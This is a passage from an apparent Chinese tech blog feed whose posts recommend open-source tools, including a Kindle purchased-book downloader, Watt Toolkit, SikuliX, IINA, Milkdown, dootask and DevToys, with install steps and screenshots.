<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔。</p><p>前段时间,亚马逊官方发布公告,宣布 Kindle 将退出中国市场。</p><p>从 2024 年 7 月份开始,已购买的 Kindle 电子书,将无法下载到设备上进行阅读,包括 Kindle 阅读器、PC、移动端等设备。</p><p>目前 Kindle 官方并没有提供下载功能,今天大叔给大家推荐一个电子书下载脚本:<strong>Kindle download helper</strong>。</p><p>该工具可用于批量下载往期已购买的 Kindle 电子书,并将其保存到本地。</p><p><img src="https://user-images.githubusercontent.com/15976103/172113700-7be0ae1f-1aae-4b50-8377-13047c63411b.png"></p><h3 id="安装环境"><a href="#安装环境" class="headerlink" title="安装环境"></a>安装环境</h3><p>1、安装 Python 环境。</p><p>2、安装依赖</p><pre class=" language-python"><code class="language-python">pip3 install <span class="token operator">-</span>r requirements<span class="token punctuation">.</span>txt</code></pre><p>3、下载 Kindle_download_helper(<a href="https://github.com/yihong0618/Kindle_download_helper/releases">下载地址</a>),目前支持 win、Linux、macos等操作系统。</p><h3 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h3><p>1、登录 Kindle 电子书管理页面:<em><a href="https://www.amazon.cn/hz/mycd/myx#/home/content/booksAll/dateDsc/">https://www.amazon.cn/hz/mycd/myx#/home/content/booksAll/dateDsc/</a></em></p><p>2、手动输入 cookie</p><p>找到cookie的方式:</p><p>右键选择【检查】–》选择 Network –》 选择 Fetch/XHR,在列表中点击任意一个 ajax 请求,复制请求头里的 Cookie 即可。</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202207092233839.png"></p><p>3、获取 csrfToken 的值</p><p>在获取 cookie 后,点击 「负载」(Payload) ,在里面的「表单数据」一项里就能找到 csrfToken 的值了。</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202207092233574.png"></p><p>4、将获取到的 <code>cookie</code> 、 <code>csrfToken</code>,替换掉下面的 <code>$&#123;cookie&#125;</code>、<code>$&#123;csrfToken&#125;</code>,再运行命令。</p><pre class=" language-python"><code class="language-python">python3 kindle<span class="token punctuation">.</span>py <span class="token operator">-</span><span class="token operator">-</span>cookie $<span class="token operator">&amp;</span><span class="token comment" spellcheck="true">#123;cookie&amp;#125; $&amp;#123;csrfToken&amp;#125;</span></code></pre><p>还有自动获取 cookie 的方法,具体参照官方文档操作即可。</p><h3 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h3><pre><code>https://github.com/yihong0618/Kindle_download_helper</code></pre><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>以上就是关于 Kindle 电子书 Python 脚本的使用方法与教程。有需要的小伙伴,赶快去下载使用吧,鸟欲高飞先振翅,人求上进先读书。</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>Steam 平台玩家必备工具!</title>
<link href="/blog/2022/07/03/yi-ge-kua-ping-tai-de-duo-gong-neng-gong-ju-xiang/"/>
<url>/blog/2022/07/03/yi-ge-kua-ping-tai-de-duo-gong-neng-gong-ju-xiang/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔。</p><p>对于 Steam 游戏平台,经常会出现各种问题,比如登录不上,页面加载不全等等。今天给大家推荐一款工具 「Watt Toolkit」, 一个开源跨 平台的多功能游戏工具箱。Watt Toolkit 原来名字是Steam++。</p><p><img src="https://inews.gtimg.com/newsapp_ls/0/14294415968/0"></p><h3 id="主要功能"><a href="#主要功能" class="headerlink" title="主要功能"></a>主要功能</h3><p><strong>网络加速</strong></p><p>加速访问 Steam 社区、 Github 、谷歌验证码、uplay、origin、V2ex等平台。</p><p><strong>脚本配置</strong></p><p>可以导入或者从脚本工坊中下载脚本,提供网页插件功能。</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202207031745924.png"></p><p><strong>账号切换</strong></p><p>任意切换在 PC 登录过的 Steam 账号,对于游戏玩家就很方便了,尤其<em>对于多账号和小号玩家很实用</em>。</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202207031748567.png"></p><p><strong>库存管理</strong></p><p>直接管理 Steam 游戏库存,还可以编辑游戏信息,比如修改游戏名称、标题、发行商、游戏背景、海报等。</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202207031755160.png"></p><p><strong>自动挂卡</strong></p><p>集成 ArchiSteamFarm 在应用内提供 挂机掉落 Steam 集换式卡牌 等功能。相当于有个机器人帮你挂机玩游戏,同时可以挂多款游戏。</p><p><strong>游戏工具</strong></p><p>强制游戏窗口使用无边框窗口化。无缝切换多个应用,不会导致卡顿。</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202207031807187.png"></p><h3 id="下载使用"><a href="#下载使用" class="headerlink" title="下载使用"></a>下载使用</h3><p>直接在官网下载安装即可,对于 win 10 操作系统可能缺失 .net 运行环境,安装时候按照提示下载安装即可。</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202207031820604.png"></p><h3 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h3><pre><code>https://github.com/BeyondDimension/SteamTools</code></pre><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>Watt Toolkit 是一个开源跨平台的多功能游戏工具箱,支持window、Linux、 Android、 iOS 。想要尝试使用的小伙伴,赶去去官网下载使用吧。</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>桌面自动化终极利器开源了,牛逼!</title>
<link href="/blog/2022/07/03/zhuo-mian-zi-dong-hua-zhong-ji-li-qi-kai-yuan-liao-niu-bi/"/>
<url>/blog/2022/07/03/zhuo-mian-zi-dong-hua-zhong-ji-li-qi-kai-yuan-liao-niu-bi/</url>
<content type="html"><![CDATA[<p>桌面自动化终极利器开源了,牛逼!</p><p>大家好,我是爱撸码的开源大叔!</p><p>大叔在日常工作的时候,经常会遇到一些繁琐重复的操作,情不自禁的会想到自动化。甚至有的时候会想,什么时候能实现自动化编写文章,自动化剪辑视频?</p><p>最近大叔在逛 GitHub 的时候,发现一个非常新颖、另类的开源项目,堪称桌面自动化终极利器 - <code>SikuliX</code>。</p><p><img src="https://files.mdnice.com/user/20902/8e1c4952-d971-4bfc-8d2a-be0dfd91065b.png"></p><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>SikuliX,号称上帝之眼,可以通过 OpenCV 图像识别技术,来定位图像和键盘、鼠标来操作GUI(图形化用户界面),实现桌面类应用自动化。</p><p>它可以使用图片来作为脚本的识别点/触发点,来进行操作,这算得上一种非常神器的方案!</p><p>目前支持系统包括 Windows、Mac 和一些 Linux/Unix。</p><p><img src="https://files.mdnice.com/user/20902/22f042ea-f323-40c2-8e8d-87bf5ea896ad.png"></p><p>SikuliX 原名是 Sikuli,现在改名为 SikuliX,可能是因为旧作者停止维护了,由新团队来维护。</p><p><img src="https://files.mdnice.com/user/20902/f680fc94-c698-4f75-bc0f-b74895efe203.png"></p><h3 id="使用场景"><a href="#使用场景" class="headerlink" title="使用场景"></a>使用场景</h3><p>SikuliX 可以使用SikuliX IDE进行脚本的编写,也可以集成到 Java 等等其他语言当中进行开发。</p><p><img src="https://files.mdnice.com/user/20902/7b2722cd-dcaf-4a00-9cf6-9a0dc605b73a.png"></p><p>目前不支持移动端设备,可以借助一些桌面的手机模拟器实现。</p><p><img src="https://files.mdnice.com/user/20902/cb73872d-e89f-4501-a789-4741bcf5505b.png"></p><h3 id="使用-SikuliX-的原因"><a href="#使用-SikuliX-的原因" class="headerlink" title="使用 SikuliX 的原因"></a>使用 SikuliX 的原因</h3><p>如果你想:</p><ul><li>自动化一些重复的任务</li><li>测试应用程序或网页的日常使用情况</li><li>玩游戏</li><li>IT系统和网络的管理<br>…</li></ul><p>如果你希望实现上述需求,那么 SikuliX 或许非常适合你。</p><h3 id="下载安装"><a href="#下载安装" class="headerlink" title="下载安装"></a>下载安装</h3><p>1、安装java环境</p><p>SikuliX 的 IDE 程序是用 java 写的,首先需要安装 java 环境。</p><p>2、安装SikuliX</p><p>前往 <a href="https://launchpad.net/sikuli/+download">https://launchpad.net/sikuli/+download</a> 下载对应的 jar 安装包,目前最新稳定版本是2.0.5。</p><p><img src="https://files.mdnice.com/user/20902/5ab0a2bd-f503-4694-8b5e-0421f47a4c51.png"></p><p>如果是初次接触的话,建议下载 1.1.3 release 版本,因为这之后的版本移除了左侧的部分常用函数,如下图,左边的常用函数提示还是有必要的。</p><p><img src="https://files.mdnice.com/user/20902/586f268f-0e7d-4d59-9f12-8007800c9e71.png" alt="1.1.3界面"></p><p><img src="https://files.mdnice.com/user/20902/e7076279-abab-45f2-a32c-3762dc39e549.png" alt="2.0.5界面"></p><p>最后,关于这个项目的更多详细使用功能,大家可以自己查阅下开源项目和官网。</p><pre><code>Github项目地址:https://github.com/RaiMan/SikuliX1官网:https://sikulix.github.io/</code></pre><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>给老婆作图要啥 Photoshop,有这款图像工具箱就够了</title>
<link href="/blog/2022/07/01/gei-lao-po-zuo-tu-yao-sha-photoshop-you-zhe-kuan-tu-xiang-gong-ju-xiang-jiu-gou-liao/"/>
<url>/blog/2022/07/01/gei-lao-po-zuo-tu-yao-sha-photoshop-you-zhe-kuan-tu-xiang-gong-ju-xiang-jiu-gou-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是不会修图的开源大叔。</p><p>平时写文章的时候,需要处理一些图片,比如裁剪或者加一些水印。其实都是些非常简单的操作,但是大叔我只会使用 Photoshop,有点杀鸡焉用牛刀的感觉。最近也是搜罗了一下,发现了一款小巧实用的开源图像处理工具,正合我意,所以推荐给大家。</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p>这款工具叫洋芋田图像工具箱,是一个适用于创意行业从业者的图像工具箱。</p><p>工具的界面非常简洁,如图所示:</p><p><img src="http://img.esparks.cn/img/20220629223311_f6cdd15f4b87f3340896b4db691afded.png" alt="img"></p><p>常用功能一览无余,使用这款工具可以快速的实现图片加水印、裁剪、拼接、压缩、色彩提取等功能,而且这些功能都支持批量处理,很是方便。</p><h2 id="功能使用"><a href="#功能使用" class="headerlink" title="功能使用"></a>功能使用</h2><p>在这里给大家展示几个常用的功能。</p><h3 id="图片裁剪"><a href="#图片裁剪" class="headerlink" title="图片裁剪"></a>图片裁剪</h3><p>比如,我要把我老婆的照片裁剪成正方形当做头像,可以点击主页的图片裁剪,将图片拖到工具中,进入裁剪编辑器。在编辑器页面,我们可以设置裁剪的比例,位置是否旋转图片,之后点击开始处理,就可以生成一张新的照片了。</p><p><img src="http://img.esparks.cn/img/20220629223314_43cbce491c0529ba519df6b320060535.png" alt="img"></p><h3 id="图片分割"><a href="#图片分割" class="headerlink" title="图片分割"></a>图片分割</h3><p>如果我想把刚才裁剪成正方形的大头老婆照片,分割成 9 张照片,以九宫格的方式发到朋友圈秀恩爱。那么我们可以点击图片分割,拖动刚才的图片到工具中,点击“进入分割编辑器”。在这里我们可以设置分割的行数和列数,之后点击处理本张,就可以生成新的9张图片了。</p><p><img src="http://img.esparks.cn/img/20220629223317_96a6a7fb4c191858bb9cc45ddf07b535.png" alt="img"></p><p>然后发个朋友圈,完美~</p><p><img src="http://img.esparks.cn/img/20220629223322_77b0b5eedfd1ca47622c93c9fc9dd89c.png" alt="img"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>以上只是简单的展示了一些常用的功能,至于长图拼接、水印等功能,也是很强大实用。这些就需要大家自己探索啦。公众号后台回复「小分队」,就可以获取项目地址了。</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>再有面试官问你这个问题,就请用这个项目吊打他吧!</title>
<link href="/blog/2022/06/28/zai-you-mian-shi-guan-wen-ni-zhe-ge-wen-ti-jiu-qing-yong-zhe-ge-xiang-mu-diao-da-ta-ba/"/>
<url>/blog/2022/06/28/zai-you-mian-shi-guan-wen-ni-zhe-ge-wen-ti-jiu-qing-yong-zhe-ge-xiang-mu-diao-da-ta-ba/</url>
<content type="html"><![CDATA[<p>大家好,我是热衷于吊打面试官的开源大叔。</p><p>相信各位读者朋友们在面试的时候,都会遇到面试官问类似的问题:“浏览器中输入一个 url 地址之后,都会发生什么事情?”。这是一个很常见的面试题,一般大家都会围绕着域名解析、HTTP 协议(包括请求和响应数据的封装和解析)等等。如果再遇到面试官刨根问底的提问,该怎么办呢?</p><p>今天大叔给大家分享一个项目:what-happens-when。这个项目实际上是一篇文档,细致入微的回答了“当你在浏览器中输入 google.com 并且按下回车之后发生了什么?”这个问题。</p><h2 id="项目介绍"><a href="#项目介绍" class="headerlink" title="项目介绍"></a>项目介绍</h2><p>先给大家看一下目录:</p><p><img src="http://img.esparks.cn/img/20220628142746_3e686a1fefd15a94dfbfdba167914df6.png"></p><p>好家伙,这文档居然先从按下了<code>g</code>这个字母开始讲解一路上都发生了什么。</p><h2 id="内容摘要"><a href="#内容摘要" class="headerlink" title="内容摘要"></a>内容摘要</h2><p>在这里简单的给大家展示一些我们很难想到的细节。比如:</p><h3 id="按下回车键的工作原理"><a href="#按下回车键的工作原理" class="headerlink" title="按下回车键的工作原理"></a>按下回车键的工作原理</h3><p><img src="http://img.esparks.cn/img/20220628142751_4618205f124fc6833517843843820f7c.png"></p><h3 id="字符编码转换"><a href="#字符编码转换" class="headerlink" title="字符编码转换"></a>字符编码转换</h3><p><img src="http://img.esparks.cn/img/20220628142800_a970fbe30c3c2c801258259541a16fbf.png"></p><h3 id="ARP的过程"><a href="#ARP的过程" class="headerlink" title="ARP的过程"></a>ARP的过程</h3><p><img src="http://img.esparks.cn/img/20220628142754_f9e15462492bdcfb76e3e8fa270da43f.png"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>可以说,这篇文章把浏览器请求一个 url 的完整链路都拆解的非常详细了,即便有些细节只是一笔带过,但是大家可以按照这个框架去进行深入的了解。准备面试的朋友们抓紧时间去学习一下吧~在公众号后台回复「小分队」即可获取项目地址。</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>这款30k Star的视频播放器,也太好用了吧!</title>
<link href="/blog/2022/06/28/zhe-kuan-30k-star-de-shi-pin-bo-fang-qi-ye-tai-hao-yong-liao-ba/"/>
<url>/blog/2022/06/28/zhe-kuan-30k-star-de-shi-pin-bo-fang-qi-ye-tai-hao-yong-liao-ba/</url>
<content type="html"><![CDATA[<p>大家好,我是热爱追剧的开源小妹。</p><p>最近一段时间小妹热衷于追剧,下载的视频文件都要把电脑撑爆了。因为比较喜欢抱着家里的 MacBook 窝在沙发上看剧,所以需要一个好用的 Mac 平台的本地播放器。研究了一段时间,找到了这个有 30k+ Star 的开源播放器,非常好用,所以推荐给大家。</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p>IINA 是一个 macOS 平台的现代化播放器,它有以下特点:</p><ul><li><p>基于 mpv,在 macOS 上提供了最佳的解码能力(支持硬件解码)</p></li><li><p>专为现代版本的 macOS 设计</p></li><li><p>支持最高 16 倍速的视频快进</p></li><li><p>方便且交互式的视频/音频滤镜设置</p></li><li><p>支持内嵌字幕、智能匹配本地字幕和在线字幕搜索</p></li><li><p>UI 支持视频的画中画、小巧的音乐模式</p></li><li><p>提供了命令行工具和浏览器扩展</p></li></ul><p>接下来小妹给大家展示一下这款播放器的常用界面和配置。</p><h2 id="视频播放"><a href="#视频播放" class="headerlink" title="视频播放"></a>视频播放</h2><p>视频播放界面,可以对画面进行实时的剪切、旋转方向,通过均衡器修改画面显示的色彩。最让小妹喜欢的是,可以任意调节视频的播放速率。这样可以快速通过一些拖沓的片段,且不会错过剧情。</p><p><img src="http://img.esparks.cn/img/20220628143115_04d04f25ffa7d928e0993350441c6890.png" alt="img"></p><p>你也可以开启画中画模式,视频会变成小窗置顶在桌面上。这样就可以一边刷剧一边上网冲浪,或者是开着视频课程,一边记笔记了。</p><p><img src="http://img.esparks.cn/img/20220628143126_7428c8df46779aec1510f955d66759f1.png" alt="img"></p><h2 id="音频控制"><a href="#音频控制" class="headerlink" title="音频控制"></a>音频控制</h2><p>音频控制中,我认为最有用的就是音频延迟了。也许有的时候在网上下载的片源质量不高,会出现音画不匹配的情况。这时我们可以用这个功能来调节音频和画面播放的延迟,保证声音和画面一致。</p><p><img src="http://img.esparks.cn/img/20220628143129_24f93923474a14f2e50794ce3cb08697.png" alt="img"></p><h2 id="字幕选择"><a href="#字幕选择" class="headerlink" title="字幕选择"></a>字幕选择</h2><p>INNA 对于字幕的管理也非常的舒服。字幕列表里可以清晰的展示内嵌字幕,并用于选择。当然,也可以支持加载本地字幕或者在线查找字幕。而字幕延迟的功能,也是方便字幕和音画不一致时,手动调节达到最佳的观看效果。字幕的大小也可以任意调节,这个功能很赞了!</p><p><img src="http://img.esparks.cn/img/20220628143135_463613cd712c2fe0f869098beb04eec2.png" alt="img"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>好啦,以上就是对这款 INNA 播放器的大致介绍了。对于小妹的日常刷剧来说,是我见过的最好用的开源视频播放器了。想尝试的小伙伴们赶紧到后台回复「小分队」获取项目地址吧~</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>收费了!?快来用这款6K+的开源Markdown编辑器,它才YYDS!!</title>
<link href="/blog/2022/06/25/shou-fei-liao-kuai-lai-yong-zhe-kuan-6k-de-kai-yuan-markdown-bian-ji-qi-ta-cai-yyds/"/>
<url>/blog/2022/06/25/shou-fei-liao-kuai-lai-yong-zhe-kuan-6k-de-kai-yuan-markdown-bian-ji-qi-ta-cai-yyds/</url>
<content type="html"><![CDATA[<p>相比大家也都知道,备受好评的 Typora Markdown 编辑器至从升级到 V1.0 版本后,就采取了收费的模式。</p><p>为了给同学们找到另外一款免费且好用的代替品,大叔寻找尝试了多款产品,最终找到这一块开源免费的 Markdown 编辑器 - <code>Milkdown</code></p><h1 id="外观"><a href="#外观" class="headerlink" title="外观"></a>外观</h1><p>大叔给大家看看 Milkdown 是什么样子的,不得不多功能强大,颜值也十分在线。</p><p><img src="https://files.mdnice.com/user/21078/005b7327-b8ff-4caa-8d96-5e06786ea6de.png"></p><p><img src="https://files.mdnice.com/user/21078/d9b30012-4fe9-4113-9b53-36a1671d39ec.png"></p><p>除了常用的 Markdown 语法,还支持协同编辑,满足多人协同的需求!</p><h1 id="支持图表"><a href="#支持图表" class="headerlink" title="支持图表"></a>支持图表</h1><p>可以输入 <code>```mermaid</code> 来添加图表,只需要了解一些简单的语法,就能构建出各种精美的图表。</p><p><img src="https://files.mdnice.com/user/21078/879c0511-1470-46ca-9adb-a2fdfd3e33b8.png"></p><h1 id="免费使用"><a href="#免费使用" class="headerlink" title="免费使用"></a>免费使用</h1><p>Milkdown 不同于其他商用的软件,它承诺开源且永久免费,可以合法的集成进你任何的平台中。</p><p>Milkdown 是基于拥有强大的社区支撑的 Prosemirror 和 Remark 构建的,能够保证长期稳定的使用和升级。</p><h1 id="插件驱动"><a href="#插件驱动" class="headerlink" title="插件驱动"></a>插件驱动</h1><p>它有一个非常友好的特性,能够用插件的方式提供各种各样的功能,并且用户可有自由选择自己所需要的个性化插件,保持整洁。</p><p>比如官方插件,提供了下列功能:</p><ul><li>添加 commonmark 语法支持</li><li>添加 gfm 语法支持</li><li>添加撤销和重做支持</li><li>添加 markdown 格式的复制粘贴能力</li><li>添加 drop 和 gap 光标</li><li>添加监听器支持</li><li>添加协同编辑支持</li><li>添加 prism 用于支持代码块高亮</li><li>添加 LaTeX 用于支持数学公式</li><li>添加选择工具条</li><li>添加斜线指令</li><li>添加表情符号支持</li></ul><p>你也可以去 awesome-milkdown 来寻找你需要的社区插件。</p><h1 id="可制定主题-amp-可交付"><a href="#可制定主题-amp-可交付" class="headerlink" title="可制定主题 &amp; 可交付"></a>可制定主题 &amp; 可交付</h1><p>Milkdown 也支持高自由度的定制主题,其实它是通过 npm 包来安装的,所以入手门槛也不高。</p><p>社区中也有很多的小伙伴提供了各种各样的主题,相比会有其中一款能够打动你的欢心。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>如果手上找不到趁手的 Markdown 工具,就赶快来试试 Milkdown 吧!</p><p>公众号后台回复 “小分队” 获取地址研究学习吧~~</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>不容错过,拥有十八般武艺的开源任务管理系统,真不错!</title>
<link href="/blog/2022/06/18/bu-rong-cuo-guo-yong-you-shi-ba-ban-wu-yi-de-kai-yuan-ren-wu-guan-li-xi-tong-zhen-bu-cuo/"/>
<url>/blog/2022/06/18/bu-rong-cuo-guo-yong-you-shi-ba-ban-wu-yi-de-kai-yuan-ren-wu-guan-li-xi-tong-zhen-bu-cuo/</url>
<content type="html"><![CDATA[<p>在如今越来越讲究协同的时代,一个强大的协同任务管理系统能够大大的帮助你的团队,发挥给大的工作效率。</p><p>所以今天大叔给大家推荐的,是一个集合了各种强大办公工具的任务管理系统 - <code>dootask</code></p><h1 id="系统功能"><a href="#系统功能" class="headerlink" title="系统功能"></a>系统功能</h1><p>该平台提供了众多优秀的办公协作功能,如:</p><h3 id="文件管理"><a href="#文件管理" class="headerlink" title="文件管理"></a>文件管理</h3><p>支持上传、管理各类型文件,支持搜索</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/song/iShot_2022-06-18_22.56.26.png"></p><h3 id="在线文档编辑"><a href="#在线文档编辑" class="headerlink" title="在线文档编辑"></a>在线文档编辑</h3><p>支持 doc、excel、ppt 等常用文档的在线编辑与实时协同。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/song/iShot_2022-06-18_22.58.39.png"></p><h3 id="在线思维导图"><a href="#在线思维导图" class="headerlink" title="在线思维导图"></a>在线思维导图</h3><p>支持思维导图,帮助你整理自己的思路。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/song/iShot_2022-06-18_23.00.45.png"></p><h3 id="在线流程图"><a href="#在线流程图" class="headerlink" title="在线流程图"></a>在线流程图</h3><p>支持在线画流程图,能够对各个块进行颜色、形状等样式优化。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/song/iShot_2022-06-18_23.02.55.png"></p><h3 id="项目管理"><a href="#项目管理" class="headerlink" title="项目管理"></a>项目管理</h3><p>支持对项目进行管理,能够记录任务的内容、状态、优先级、负责人等信息,还可以上传附件、设置子任务等操作</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/song/iShot_2022-06-18_23.04.51.png"></p><p>还可以设置成看板视图,用另外一个维度对项目进行管理。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/song/iShot_2022-06-18_23.05.49.png"></p><h3 id="实时-IM"><a href="#实时-IM" class="headerlink" title="实时 IM"></a>实时 IM</h3><p>甚至还可以实时通讯,将整个办公环节都覆盖全了。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/song/iShot_2022-06-18_23.08.46.png"></p><h1 id="快速入门"><a href="#快速入门" class="headerlink" title="快速入门"></a>快速入门</h1><h3 id="部署"><a href="#部署" class="headerlink" title="部署"></a>部署</h3><pre><code># 1、克隆项目到您的本地或服务器# 通过github克隆项目git clone --depth=1 https://github.com/kuaifan/dootask.git# 或者你也可以使用giteegit clone --depth=1 https://gitee.com/aipaw/dootask.git# 2、进入目录cd dootask# 3、一键安装项目(自定义端口安装 ./cmd install --port 2222)./cmd install</code></pre><h3 id="重置密码"><a href="#重置密码" class="headerlink" title="重置密码"></a>重置密码</h3><pre><code># 重置默认管理员密码./cmd repassword</code></pre><pre><code>./cmd port 2222</code></pre><pre><code>./cmd stop# 一旦应用程序被设置,无论何时你想要启动服务器(如果它被停止)运行以下命令./cmd start</code></pre><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>这是一款功能非常全的在线项目管理系统,里面涵盖了日常工作所需要的大多数工具,无论是为团队在找工具的同学,还是需要研究其中几个工具的开发的小伙伴,这个项目都能够帮助到你!</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>10K+ Star!</title>
<link href="/blog/2022/06/14/10k-star-kan-cheng-kai-fa-zhe-rui-shi-jun-dao-de-kai-yuan-gong-ju-yyds/"/>
<url>/blog/2022/06/14/10k-star-kan-cheng-kai-fa-zhe-rui-shi-jun-dao-de-kai-yuan-gong-ju-yyds/</url>
<content type="html"><![CDATA[<p>大家好,我是美丽又可爱的开源小妹!</p><p>最近,小妹在逛 GitHub 的时候发现一个非常适合我们程序员的项目 - DevToys</p><p><img src="https://files.mdnice.com/user/20902/5c92946d-3c5f-48e8-9486-312cb702572b.png"></p><p>DevToys 可以帮助我们快速完成一些日常任务,比如说格式化 JSON、比较文本、测试正则、Base64、PNG/JPEG 图片压缩等等,而且最关键的是,<strong>离线一样可以使用</strong>。</p><p><img src="https://files.mdnice.com/user/20902/43c35091-82a6-4291-a4fb-59215316d73e.png"></p><p>DevToys 还有很多常用的功能如下:</p><p><img src="https://files.mdnice.com/user/20902/a8cbd643-19f2-4864-8fb9-744d48b1f469.jpg"></p><p>都说无图无真相,下面贴几张项目示例图,让你们感受一下他的强大。</p><p>格式化 JSON<br><img src="https://files.mdnice.com/user/20902/e42903ba-cfa8-4504-8e28-5a2d6b098930.png"></p><p>h-a-s-h生成器<br><img src="https://files.mdnice.com/user/20902/9f3221dc-4c10-47c0-b56e-a2abe7e6221d.png"></p><p>Base64<br><img src="https://files.mdnice.com/user/20902/0493c18d-24f1-4b84-8d81-2370d37fea34.png"></p><p>PNG/JPEG 图片压缩<br><img src="https://files.mdnice.com/user/20902/8df9e19b-fe92-4a0b-9a64-274cc74cd1f5.png"></p><p>DevToys 的安装有常见的两种方式,前提是你需要 Windows 10 build 1903+ 或更高版本才能安装:</p><h3 id="方法一:微软商店"><a href="#方法一:微软商店" class="headerlink" title="方法一:微软商店"></a>方法一:微软商店</h3><p>在微软应用商店直接下载安装,是直接的方法。</p><p><img src="https://files.mdnice.com/user/20902/1a023f57-aefe-44b8-be3d-8e3c67d9dd11.png"></p><pre><code>地址:https://www.microsoft.com/store/apps/9PGCV4V3BK4W</code></pre><h3 id="方法二:手动安装"><a href="#方法二:手动安装" class="headerlink" title="方法二:手动安装"></a>方法二:手动安装</h3><p>如果你想手动安装,则需要从 Github 上下载最新版本的 release 文件,解压后双击 *.msixbundle 文件即可安装。</p>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>17k+ Stars,Github超火!看完多活20年?!</title>
<link href="/blog/2022/06/14/17k-stars-github-chao-huo-kan-wan-duo-huo-20-nian/"/>
<url>/blog/2022/06/14/17k-stars-github-chao-huo-kan-wan-duo-huo-20-nian/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>不知道大家还记不记得,之前给大家介绍过一个《程序员做饭指南》的项目,越来越多的程序员开始步入养生行列,付出更多的行动,毕竟都怕嘛~~~</p><p><img src="https://files.mdnice.com/user/20902/5ca14973-06cb-4b90-a8a4-efc1a50504da.png"></p><p>不得不说,这届程序员是越来越有觉悟了~~~</p><p>最近,GitHub 上一个名为<code>程序员延寿指南</code>的项目大放异彩,提交仅 4 天,就登上了趋势热榜前 5 名,现在已经收获了 17k+ stars,可见有多火爆!</p><p>据说,看完这份指南能帮助程序员最高多活 20 年?!真有这么神奇?不知道你们信不信,反正大叔是信了~~</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p>作者用每位程序员都看得懂的语言逻辑,阐述如何可以更加健康的生活,作了一个非常全面的科普,目标很简单:<strong>活得久</strong></p><p><img src="https://files.mdnice.com/user/20902/ff759b17-9c1e-4179-ba4a-c3f0c33ed263.png"></p><p>当然,作者为了表明不是自己瞎编,每一个步骤和方法都有严格的研究依据,其中有不少方法,都是来源于Science、Nature、柳叶刀等顶级期刊。</p><p><img src="https://files.mdnice.com/user/20902/17d31fa8-1966-4062-b61b-b1897ef30476.png"></p><p><img src="https://files.mdnice.com/user/20902/4a84cb98-fa8d-4638-82ff-035f61b274c4.png"></p><p>太硬核了吧,有木有?!</p><p><img src="https://files.mdnice.com/user/20902/f5431840-d14d-46d6-80f6-543de06418ae.png"></p><h2 id="寿命方法简介"><a href="#寿命方法简介" class="headerlink" title="寿命方法简介"></a>寿命方法简介</h2><p>项目中所有方法都是围绕一个关键词<code>ACM(全因死亡率)</code>来论述的。但这个 ACM 不是你以为的那个。</p><p><img src="https://files.mdnice.com/user/20902/8b947839-d5dc-4521-8e1f-a81f97795486.jpeg"></p><p>它的全称是All-Cause Mortality,中文叫做全因死亡率。</p><p>方法简单来说,就是<strong>降低ACM,从而使得寿命得到延长</strong>。</p><p>作者将延长寿命的方法分成三大类:<strong>输入、输出和上下文</strong>(这很程序员),每一种方法都有可以量化的指标和结果。</p><h3 id="方法一:输入篇"><a href="#方法一:输入篇" class="headerlink" title="方法一:输入篇"></a>方法一:输入篇</h3><p>注重饮食结构,合理安排自己的日常饮食。</p><p><img 